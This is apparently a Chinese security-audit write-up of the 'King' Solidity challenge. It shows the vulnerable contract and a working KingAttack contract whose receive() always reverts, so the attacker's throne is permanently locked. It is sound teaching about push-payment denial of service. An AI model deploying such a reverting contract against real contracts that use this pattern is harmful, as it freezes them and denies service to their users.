安全审计-转账的疑惑

在King这个题目中,只要转账金额大于当前King之前转账的金额时,你就成了新的King,同时你转的金额会全部贡献给前一个King。看代码

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}


仔细分析代码,逻辑上没有问题。整个行为最多的就是转账。那先尝试从转账入手攻击。自己转大金额过去,但是无法控制其他人会转更大的金额,这个有点买官的意思。这个是个无底洞,显然是不行的。在转账相关联的函数中有receive和fallback,是在接收转账的时候必须要使用的,如果是没有这2个函数,就是天然拒绝转账,将会revert,那么这个交易就直接失效,当前发起交易的账号就没法成为新的King。因此只要在这2个函数做文章就可以达到锁定King的效果了。

contract KingAttack {
   address public king;

    constructor(address _king) payable  {
      king = _king;
    }

    function attack(uint256 amount) public payable  {
      require(address(this).balance >= amount, "Not enough");  
      (bool success,) = king.call{value: amount}("");
      require(success, "attack failed");
    }

    receive() external payable { 
        // 想成为新的King,就要转账给本王,我可以拒绝接受转账,国王的位置就bao'zhu
        revert("I am the King forever, You can not!!");
    }

}


以上就是攻击代码,只要在receive中revert就可以锁定King。使用fallback函数也可以达到同样的效果,只是fallback的触发条件更多(转账,无效调用等),不如receive来的精准。如果没有这两个函数也是拒绝接受转账。使用receive是为了方便可以在拒绝后增加后续的操作,兼容性和扩展性更强,就像我上面的一个永远的王的宣告:)